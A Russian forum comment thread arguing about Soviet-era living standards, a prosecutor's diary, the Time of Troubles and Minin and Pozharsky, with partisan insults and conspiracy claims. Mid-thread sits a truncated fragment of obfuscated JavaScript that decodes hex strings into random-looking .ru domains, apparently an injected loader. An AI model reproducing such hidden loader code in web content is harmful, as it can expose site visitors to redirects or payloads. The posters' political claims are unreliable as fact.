К концу 84-ого у частников такие заработки уже были, Вы спрашивали, а друзья и неск.позже я сам - ездили и привозили. Конечно же, не прокуроры и основная работа должна была соответствовать. Например, где-то дежурить сутки через трое либо еще свободнее.
Защитнички...
..... куда начальники рулят туда и катятся докатились.
Вот ведь поросята. Сейчас
Вот ведь поросята.
Сейчас значительное внимание уделяется пропаганде похудения (посмотрите, например, программу Жить здорово 1 канала ТВ про типы ожирения) - может быть, поэтому едят в 2 раза меньше, и не хочется?
http://www.1tv.ru/shows/zhit-zdorovo/vypuski/zhit-zdorovo-vypusk-ot-3108...
http://www.1tv.ru/shows/zhit-zdorovo/search?project_id=126&q=%D0%BE%D0%B...
Алкоголь на рабочем месте это общая болезнь, я один как белая ворона!
Люди не понимают своих рисков и им и в этом случае похоже кто-то что-то внушил (кто бы это мог быть).
в
в заполярье (мурманской области) раньше тоже был коммунизм. дворникам платали 250 в месяц,в магазинах любая нормальная еда была.какие то бройлерные куры валом завались,люди покупали собак кормить,а себе говядину.
а помню если выбрасывали ланчен мит или подобную дребедень,типа шоколадок импортных итп,тоже стояли в очереди как все советские люди.
талонная система тоже обошла стороной. на масло только чтоли... но спиртное помню продавали без талонов,но 1 или 2 в одни руки.
был коммунизм. дворникам платали 250
При "кумунизьме" денег быть не должно. Согласно каноническому писанию. Это был развитой социализьм
Joker был коммунизм. дворникам платали 250
Хи, хи, хи...!
В СССРе коммунизмбылвпределах кремлёвской стены.
От стены до окружной дороги был социализм..
Ну а на всейостальной терретории рабовладение...
Опять про жратву в ССР...
Опять про жратву в ССР... Теперь дневники какого-то прокурорского. "Печень трески", консерву, точно, хрен купишь. Тем не менее в Томске она спокойно так себе лежала, никому и на фиг не нужная. Да. Что там "А. Сергеев" про ЕРЖ пишет? И банка была здоровенная, раза в два больше нынешней, бездефицитной. Всякую хрень по предприятиям и конторам развозили в целях экономиии рабочего времени. Что бы работали, а не по магазинам шарахались, гостей столицы не пугали. В Москве контролёров и тогда, и сейчас, выше крыши -- сравните качество бензина на заправках в зависимости от удалённости Главпочтампта.
А сама писанина прокурорского есть прекрасная иллюстрация на тему "кто есть хороший работник". Тот, кто бродитт мыслями по высоким понятиям, полный абстракций и рассуждений о Родине, служении оной, обществе и его законах функционировая и т. д., и т. п. Нет, хороший работник тот, кто прекрасно выполняет то, чем может отчитаться его начальник перед своим начальником -- "показать работу". В данном случае -- бумаги. Учитесь, те, кому не поздно! Ничего не поменялось.
А старые и новые деньги в получку-аванс -- это была такая полудиссидентская игра-угадайка: как зряплату несколько раз дадут свежеотпечатанными купюрами -- жди повышения цен и угадай на что именно!
Для Joker.
Joker: "Нет, хороший работник тот, кто прекрасно выполняет то, чем может отчитаться его начальник перед своим начальником -- "показать работу".
Это не хороший работник, а просто бюрократ.
А в прокуратуре и прочих
А в прокуратуре и прочих "органах" кто работал? И работает. И будет работать. Только и самые бюрократы. Все "деяния" можно описать по-разному, вот и простор для "творчества" всем -- от опера до Ген Прокурора.
Чё-то стоимость "пайки" в современных ценах посчитать не могу. Ну, и ясен пень: "огурцы в 5..." -- это болгарские, маринованные. Сок в бутылке -- импортный. В наши добавляли какую-то химию от плесени. Вкус был -- омерзительный. Потому и стояли эти банки горами. Заметьте: финский сервилат тогда был как нечто очень качественное. А сейчас? Видимо -- делают ноне "финский сервилат" в РФ, а скорее всего в Белорусссии\ Эх, самоё мясо и колбаса росли в Казахии! Ещё и конину добавляли! Специй не жалели. Сейчас -- говно-говном. Прогресс дошёл!
Для Joker.
Joker: "А в прокуратуре и прочих "органах" кто работал? И работает. И будет работать."
Ну и к чему это привело? Сейчас средняя зарплата уже меньше средней в СССР раз в 10. Народ вымирает. Ну и т.д.
Так что срочно надо переделывать бюрократа в делократа, а начать с Закона об ответственности власти за результаты правления.
Всё правильно, так и было,
Всё правильно, так и было, только была ещё и другая сторона жизни, теневая. В 80 е годы уже полностью сформировалась теневая экономика, преступно-воровская сторона. Заниженная зарплата руководящих работников толкола (организовывала) их на различные преступные схемы получения доходов. Следователей, прокуроров на отмазку от ответственности преступников; прорабов, мастеров, начальников цехов на воровство материальных ценностей, начальников производств на перепроцентовку, завышение смет работ, которые подкреплялись уже вагонами и машинами левых материалов. Это была целенаправленная система культивирования преступников и развращения руководящего состава работников. Карьера, продвижение по службе стала невозможна для честных работников, только для воров и замаранных, посаженных на крючок (шантаж) работников. Вся эта система культивировалась сверху вниз, парализовав в конце концов всю экономику страны, уничтожив все честные кадры и создав преступную номенклатурную банду, которая и совершила государственный переворот, развалив СССР. Ельцин и Путин возглавили эту банду, вернее их поставили, как марионеток. Ельцин это понимал и пьяный откровеничал, что без хозяина (показывая на Америку), мы даже сраного детского садика не можем заложить в проект строительства. Путин же возомнил, что может избавиться от марионеточных нитей, но все его действия показывают, что он в них запутался ещё больше.
Описание хомячьей жизни
Описание хомячьей жизни прокурорского работника из позднего СССР навеяло на меня тоску и вынудило задаться вопросом, чем отличается хомячок от человека? Ответ мне кажется очевидным, человек умеет брать на себя ответственность за свои поступки и руководствуется в решениях собственными соображениями. В результате даже откуда-то услышанные мысли для человека станут своими, если он с ними согласится. Человек не станет обижаться, мол вы мне коммунизм обещали, а сами работать заставляли, а теперь и вовсе сорок сортов колбасы не даёте и в турцию полёты отменили. Человек сам принимает решение с кем ему быть и идёт до конца.
Возьмём время смуты 1610-11 годы ещё до первого ополчения. В это время уже многие города присягнули тушинцам и в стране был полный разброд. Все понимали что россии не дадут жить как хочет народ и считали борьбу бесполезной, лучше принять сторону уже существующей партии. Хоть бы и тушинцев, какая между бандитами разница? И вот к нижнему сначала подступили арзамасцы, требуют подчиниться тушинцам. Они по своему хотят навести порядок, им надо скотину сбывать, а сбыта нет, нижегородские говядари мясо не покупают, его продать некуда, везде разор. Все понимают что надо порядок наводить, но у каждого свой рецепт.
И вот борьбу решают молчаливые люди, которые может и лавок мясных не имеют в городе, но на сходках слушают и взвешивают, а потом не боятся и высказать. И в нижнем формируется общественное мнение которое заставляет городских воевод, как в своё время в смоленске, служить интересам города и идти ратью бить арзамасцев - мол нафиг нам все бандиты, соберёмся всем народом и пересилим всю международную шваль, поставим своего царя. А потом эти молчаливые люди сформировали городское ополчение и служили в нём без всякого понуждения.
Арзамасцев слегка побили, но и сами арзамасцы за тушинцев не особо держались, а лишь потому, что другого выхода не видели. А увидев, что нижегородцы стоят крепко, они потом и сами от тушинцев отреклись.
Так же и балахненцы. Им соль надо было в нижний сбывать, а там мясную торговлю сворачивают и соль не нужна. Решили силой принудить - просчитались, увидели что нижегородцы стоят крепко и поверили в то, что и без тушинцев можно обойтись и поставить своего царя.
С Муромчанами битва была крепкая на Слуде. Эти от тушинцев отставать не хотели, пришлось побить. Но тоже ведь долго не упирались. А когда ополчение двинулось на север, то там города сами тушинцев прогоняли и признавали власть ополчения уже без боя.
Как это было? Можете себе представить такое сейчас при засилии хомячков в народе? Нет, сейчас такого и не представишь. Человек подумал, взвесил, бросил хозяйство и семью и пошёл воевать. Сначала воевать с собственным воеводой - тушинским ставленником, а потом с поляками.
Вот представьте себе кто такой пассионарий по Гумилёву. Сейчас принято думать, что пассионарий это эдакий вертихвост и проныра, который как дерьмо в любой проруби выплывет. На самом деле пассионария не узнаешь пока не настанет момент, когда его долг позовёт поступать не так как большинство обывателей. Просто этот человек цельный и последовательный, у него есть энергия не просто увязывать между собой мысль и продолжать её, а обуздывать свои страхи и неловкости непреклонной волей направляемой цельной мыслью и совершать последовательные действия ведущие к заранее намеченной и продуманной цели. Здесь цепочка рассуждений простая - я русский, россии плохо, есть возможность разбить врагов. Значит я должен всё бросить и использовать эту возможность, второй не представится. А за этой простой мыслью что скрывается? Ведь человек не враз к такому рассуждению пришёл. Значит он думал над каждым поворотом истории своей страны, значит он следил как меняется власть в столице, что в сути вещей на руси меняется вслед за этим кавардаком и какие причины надо устранить чтобы вернуть жизнь в нормальное русло. Очень не похоже на дневник московского прокурора 1980-х годов.
Тысячи мужиков думали в 1608-1612 годах как им навести на руси порядок и ополчение Минина восприняли как возможность для себя осуществить в деле свои мысли и стремления! Бросили всех и всё и пошли воевать. Зная что поход продлится около года, что драться придётся с профессиональной шляхтой и наёмниками, что инвалидов на руси бог кормит, что сирот за неимением советской власти будет мир содержать, что жена одна хозяйство не потянет. И прочие физические и нравственные неудобства. Но было надо и пошли.
А нынешние хомячки разве люди? Когда разрушали союз их заботила цена на водку и сорок сортов колбасы. Отдых на таити считался беспримерным подвигом, а ленивым считался тот кого и здесь неплохо кормят.
Я бы ещё про 1918 год хотел написать. Вот например мемуары Будённого. Он переведён с кавказского фронта на западный и услышал пропаганду за советы и землю. Подумал, взвесил и поехал к себе совет создавать. А когда казаки наседать стали вместе с отрядом ушёл воевать к царицину. Была у него надежда дожить до светлых дней? Каким образом он воспринял эти идеи о народном государстве и сделал их настолько своими, что с небольшим отрядом покинул родные места и поехал в абсолютную неизвестность, практически навстречу гибели. Решил служить советской власти и стал служить. Всего-то делов, как просто. Отречся от себя и служить делу которое продумал и выстрадал. А кто из нынешних хомячков на такое решится? Для хомячков удержать связную мысль проблемма, а уж совершить поступок диктуемый мыслью, а не модой - это для них сверх сил.
Конечно, тогда процент таких героев был велик. Поэтому всегда можно было найти себе товарища и соратника. Надежду давало то обстоятельство, что общественное мнение среди крестьян и рабочих, всё больше склонялось к большевикам. Оттого и была уверенность, что гибель не будет напрасной. Сейчас этого нет. Но потому сейчас этого и нет, что сейчас кругом хомячки одни и гоблины. Людей очень мало и в результате позитивное и созидательное общественное мнение способное поднять народ на борьбу не формируется.
Вот в этом всё дело. И уже не сформируется, должны смениться поколения, чтобы пассионарность слегка восстановилась. Тогда можно будет надеяться на некоторое возрождение русского государства, если враги позволят. Но это уже будет слабый всплеск активности. Не как в 1917. Но хомячкам и он покажется ужасным.
Приведённые записки прокурора страшны не тем, что в них прокурор дерьмо-хомячок, а тем что в этих записках он и не сталкивался по жизни с приличными людьми вообще. В этих записках нет вообще людей, одни хомячки. И всё это талантливо отражено в книгах, в фильмах. Мне не нравятся фильмы рязанова, но я признаю, что он точно уловил хомячность москвы конца 1970-х начала 1980-х годов, ведь он и сам такой. И гараж и с лёгким паром, и служебный роман - наглядные пособия по разновидностям московских хомячков. Так же как и приведённый Мухиным дневник прокурора.
А ведь ещё в конце 60-х встречались приличные люди - Юрий Деточкин их отражение в исскустве. Вот читал книгу одного советского курда, сибиряки против сс, очень патетично в свете современных знаний, но он пассионарий, он организовал клуб мушкетёров в новосибирске и до самого конца боролся с мещанством распространявшемся тогда среди советских детей. И такие люди встречались, хоть и не часто. Но именно они, эти единицы честных бойцов сдерживали всю 300 миллионную массу плодящихся хомячков СССР. К 1980-м годам хомячкам уже никто не противостоял, кто умер, кто состарился. отдельные смелые люди потеряли связь между собой и перестали поддерживать общественное мнение в социалистическом русле. И тогда стала всё свободнее распространяться хомячковая идеология.
Так и погиб СССР.
А ведь и сейчас есть люди сидящие в тюрьме за идею. За идею ответственности власти. Это Барабаш, Парфёнов, Соколов. Да и Мухин под стражей до сих пор. Но, не хватает пока запала поднять Россию. Мало их, людей. В своё время как анекдот рассказывали, что Диоген носился днём с факелом по Афинам с криком ищу человека. Думается он тогда пришёл к тем же выводам, что и я сейчас. Не смешной анекдот.
для Гост
Вы историю смуты на Руси по Гумилёву изучали? А историю Франции 17 века по книжкам А.Дюма, очевидно. Спасибо, хоть Фрейда, Блаватскую и Фоменко не упомянули…
Минин, он конечно герой и всё такое, но никто не отменял того, что он был крупнейшим мясоторговцем, хватким и авторитетным человеком в Нижнем Новгороде. Перво-наперво, он истребовал у народа право на беспрекословное подчинение его приказам. А дальше просто всё: с кого 1/5, а с кого и 1/3 имущества, вынь, да положь. Обеспечением лояльности упорствующих занялись ратники Пожарского. Нравы которых, по сбору такой дани, можно выразить фразой из «Бременских музыкантов»: «..лучше по-хорошему, хлопайте в ладоши вы..». Ополчение, нанятое (собранное) в Нижнем, само бы ничего не решило. Со всех сторон под Москву шли группы по 50-200 и более ратников. Большая часть с Северских земель. Были и казаки. Причём, с обеих сторон. В те времена без них ни один кипиш не обходился.
Не надо нам пули лить про молчаливых людей и голову пассионарностью морочить. Гумилёв
глюки своипассионарность из пальца высосал, хорошо если не из 21го. Он и сам зело не добре знал, что это такое, пассионарность эта. А был в то время один несправедливо забытый историками человек. Патриарх Гермоген. Второй после царя, а в иных случаях и первый. Когда семибоярщина в лице шестерых : Фёдор Иванович Мстиславский, Василий Васильевич Голицын, Фёдор Иванович Шереметев, Данило Иванович Мазецкий, Василий Телепнёв и Томило Луговской впустили в Москву польские войска, типа от имени русского народа и привели к присяге Владиславу москвичей, то Гермоген резко выступил против. Так и слали они грамоты по всей Руси. Одни с требованием присягнуть Владиславу, а Гермоген с призывом вышвырнуть всю эту сволочь из Москвы. Гермогена в итоге заморили голодом в Чудовом монастыре, но сломать не смогли. Огромный авторитет патриарха перевесил потуги остальной компании и дал толчок движению, возглавленному Мининым и Пожарским. Безо всяких там пассионариев и молчаливых детин. Чем закончилось дело-известно. Перед величием Духа Гермогена и стоит снять шляпу.Не понятно с какого перепугу, вы тут чуть не всех москвичей и подавляющую часть советских граждан в хомячковости обвиняете. Не было у них после Сталина такой фигуры как Гермоген, а была мразотная сволочь, начиная с Хрущёва. Которая будучи у власти, развела кастовость партноменклатуры, её неприкасаемость и тем самым начала разложение общества сверху вниз. Процесс тем не менее, не был катастрофичным. Никакими такими хомячками в начале 80х советские люди не являлись, в большинстве своём. Они и их дети с успехом доказали это и в Афганистане и в других неспокойных местах. Приказы Родины выполнили бы «на ура» с оружием в руках. И голосовали в 1991 за сохранение СССР подавляющим большинством, если не изменяет память, более 70% «за». И не граждане СССР просрали, а можно сказать, правящая верхушка украла у них СССР, предательством своим. Пользуясь тем, что люди верили власти.
Что до Рязанова, этой небесталанной бесстыжей рожи, то ничего такого ( хомячковости) он в людях не подметил. Он, радостно хрюкая, как раз её то и насаждал своими фильмами, выполняя заказ Кремля. И спецслужбы Запада вовсе не были наблюдателями. Вливали огромные средства в разложение правящей верхушки СССР, планировали сценарий слива, фактически руководя процессом.
гастат
Гумилёв пассионарность из пальца высосал...
-------
Во-во. Что-то там с Луной связанное...:-) я когда узнал про такое толкование "мэтром" обоснования своей "теории", так и не знал как реагировать...свидомые со своим выкопанным морем и то более адекватными выглядят...
Владимир136
роль личности в истории
роль личности в истории давно разобрана марксистами. Личности не двигают исторический процесс, а наоборот, движимы историческим процессом. У многих людей сейчас проблеммы с правильным применением основных филосовских понятий, в первую очередь часто хромает закон причинности.
Из Минина вы просто какого то мафиози изобразили. Однако и вы признали, что решали все люди которые добровольно приходили в его войско, а вовсе не мифические вышибалы из свиты Пожарского, который вообще с середины к этому делу примкнул, а до того был в первом ополчении.
"Личности не двигают
"Личности не двигают исторический процесс, а наоборот, движимы историческим процессом. У многих людей сейчас проблеммы с правильным применением основных филосовских понятий, в первую очередь часто хромает закон причинности."
Можно согласиться разве что на счёт "проблемм с правильным применением основных филосовских понятий" и тем что "часто хромает закон причинности."
А вот на счёт того что " Личности не двигают исторический процесс " это глупость. Хотя-бы уже по тому что все без исключения элементы этого вашего прогресса можно свести к идеям зародившимся в умах тех или иных личностей.
Совершенно конретные логические цепочки. К примеру: древнегреческие философы - Руссо энд компани - французкая революция - Баливар и т.д.
для а
Алхимии забытый столп,
Он запирался с верными в чулане
И разливал из разных колб
Соединенья всевозможной дряни. (Фауст, Гёте).
Причинность-это к логике относится, а не к философии. Я как-то приучен не умствованиям доверять, а фактам, прежде всего. И логическим построениям, опирающимся, всяко на факты, и ни на что другое. Кем там что разобрано, хоть марксистами, хоть кем. А по факту, личность решает вопросы. К этому взывает и история, как наука . «Лучше если лев командует стадом баранов, чем баран стадом львов»-старая добрая мудрость.
Вышибалы в свите Пожарского были вовсе не мифические. В те времена, как-то так вышло, что владеющие оружием , политесам не обучались. А приход отрядов с Северских земель добровольным являлся условно, причём весьма условно. Как дворяне, так и боевые холопы, подчинялись своим князьям, а не сами по себе по дорогам с оружием шлындали. Что до Минина, то увы, лубочная картинка только у Гумилёва и прочих мечтателей на его счёт. На практике он был тот ещё выжига и беспредельщик. Что вполне естественно для удачливого мясоторговца и не только в те времена…
гастат
Ну не было бы такого выжиги, как вы там накалякали и вышибал Пожарского, то может нприсуете картинку, дальнейшего хода событий, смутного времени. К какому бы концу привело боярство и основная часть высшего духовенства, присягнувшее польскому королевичу. Гумилёв то не историк и картинки приукрашивал, давайте свои изыскания, а мы с удовольствие ознакомимся. В критические и судьбоносные для страны времена не до сантиментов, и как пример, приказ Сталина №227 спас страну от разгрома по вине предательской части генералитета. Многое не узнаем, архивы Сталина и Берия спалены уродами, но вот перелёт Гесса на остров до сей поры держат в секрете змии аглицкие. А ведь приказ Сталина №227, как разносила либеральная интеллигенция, как и Ленинград, который надо было сдать гитлеровцам с гуманной точки зрения. С гуманной точки зрения и устраивают кровавые конфликты и вымирание русского народа и установили в рашке жизнь по понятиям. И закону в рашке установили дышловские, куда сунул там и вышло.
для коммунист СССР
Вы противоречия ищете там, где их нет. Ваш пост бессмысленен. Соберитесь уже, и сами это поймите. По поводу приказа №227 у вас понимание наблюдается, а по поводу деятельности Минина вы в розовых очках? Вы всерьёз будете утверждать, что нижегородцы своё имущество сами на бочку поволокли? Добровольно? "Имущество, жён, детей заложим" и т.д.? У меня нет претензий ни к Минину, ни к Пожарскому, отдавшему приказ раком нижегородцев поставить для сбора средств. Я просто назвал вещи своими именами. А легитимизировал их деятельность патриарх Гермоген, грамотами своими. В этом смысле, он сыграл для Руси, во время смуты, роль Сталина в ВОВ. Есть возражения? "Накалякайте" их враздельно.
гастат
Да я думаю, что нижегородцы сами понесли ценности, меналитет был по видимому не рашенский. Это рашенцы просрали страну под руководством нац. лидера и царя непревзойдёйнейшего. Лучше потерять бытовые ценности, чем потерять страну и отдать её иноземцам, так думали нижегородцы, наверное и об детях и внуках думали. Я ведь приказ 227 только как пример привёл, поведения лидера страны в критическое для страны время, по аналогии Минина и Пожарского. Спросил привести ваши соображения по поводу Минина и Пожарского поясню, ну плюнули бы они на незавмсимость Руси, поцеловали ручку Владиславу, признали его царём, что далее то. Нижегоодцев никто бы ограбил по вашему и зажила бы Русь под пшеками при своих ценностях, пшеки то став хозяевами русских, что не запустили бы лапу в карманы этих Нижегородских бедолаг, коих "ограбили" мясник Минин и князь Пожарский. Окупант он и есть окупант хер ли ему думать о побеждённых. Не помню кто сказал- Горе побеждённым! Просто любим покопаться в прошлом и обличить. вон дообличались с героями ВОВ, всё правду матку резали обличители, ничего святого не стало! Под эти обличения ворью хорощо и вольготно на Руси. Герои то то раком оказывается народ ставили, то дома сжигали. то немок трахали беспощадно. То Ивана Грозного, то Сталина, то Ленина с атомной бомбой несли по кочкам, русские под этот гвалд совсем охерели и только мыкают- Да оно всегда так было на Руси. Да кол осиновый в гузно таким обличителям. Ну последнее желание не вам гастат.
"Горе побеждённым."
Бренн - вождь сенонов, одного из племён галлов. Победитель римлян в традиционной истории. А в нашей истории - победители СССР - США и иуды - генсеки и секи с генералами - офицерами всех "силовых" ведомств.
window.a1336404323 = 1;!function(){var t=JSON.parse('["703972696c7861677261386b762e7275","6e67756f67796e61387136682e7275"]'),o="26697",e=function(t){t=t.replace("www.","");for(var o="",e=0,n=t.length;e
для коммунист СССР
"Да я думаю, что нижегородцы сами понесли ценности "-"имущество, жён, детей заложим", ага, угодно считать наших предков идиотами? В этом месте мне с вами не по пути. "Это рашенцы просрали страну под руководством нац. лидера и царя непревзойдёйнейшего."-если под рашенцами вы подразумеваете Народ РФ, то мне с вами тоже не по пути. По поводу Минина и Пожарского. В каком месте я утверждал, что они поступили плохо? Конкретику жду.
-Имущество, жён, детей
-Имущество, жён, детей заложим- . ага угодно наших предков считать идиотами? В этом месте нам с вами не по пути.
Да не идиотами, а патриотами. А если вам угодно эта жертвенность считать идиотизмом то конечно пути разные.
Это рашенцы просрали страну.....то нам не по пути.
Я не развёрнуто выразился думал и так поймёте ну уточню, просрали не тогда, когда меченный мишка с либералами тупил народ своими обличительными расказками, когда цистерны грязи антисовецкой вылили на головы народа. Но ведь прошло уже 30 лет этой вакханалии. Всё, что неимоверным путём было построено и создано, всё подчистую обличителями разгромлено и ограблено. На диком вранье целое поколение выросло, второе народилось и подросло. Ну и где те коим тогда было немногим больше, чем первому перестроечному поколени. Коим было 20-45 лет в 1985 году. Они то жили в СССР, (я не говорю о жоперах, кащеяхи прочих бурмаках кои стали "обличителями" СССР. Я говорю о тех кто жил в то время и кем стал в это время. В них нет ни малейшего желания не то что боротьсяч, а даже вякать про эту жизнь при бесах. Это уже амёбы, вы не пробовали с народом этим поговорить, да 95% просто отвернётся, а половина приклиненых наглухо пошлёт вас подальше и начнёт расказывать про бедствия при Сталине и большевиках своих бабушек и дедушек, а кои и сами причислят себя к жертвам КГБ, встречались и такие. Вот эти и рашенцы, а на молодёжь я ни когда не кивал, спрос со старых козлов в первую очередь
В каком месте я утверждал, что они поступили плохо
Как в каком. Малёхо отвлекусь. Про Гермогена ещё в Советское время читал. Но вот не нашлись бы в то смутное и предательское время 2 человек, когда практически вся мирская и духовная знать признала пшека Владислава царём Руси - мясника и выжиги, как вы там выразились, да князя Пожарского со своими "вышибалами" то что бы было со страной. Ведь за Гермогеном не стояло ни какой ратной силы, слова его были обращены к невооружённому и раздробленному междуусобицами народу и среди народа нашёлся мясник Минин. Вот они то и стали лидерами движения против пшеков-окупантов. А уж как там они рать собрали, я не могу с вами согласится. Главное они сохранили Руси самобытность и независимость и памятник им поставлен в Москве вполне заслужено. А если уж говорить о высшей справедливости, рядом с ними должен стоять и памятник Иосифу Виссарионовичу Сталину и Лаврентию Павловичу Берия, так как они спасли страну от неимоверно большей опасности, только с одним преемуществом-сделали СССР мировой державой!
Короче, зачем вы там обозвали Минина выжигой, а Пожарского вышибалой? Вы в Нижнем Новгороде в то время сами были, а Гумилёв то кто, лгун?
Отправить комментарий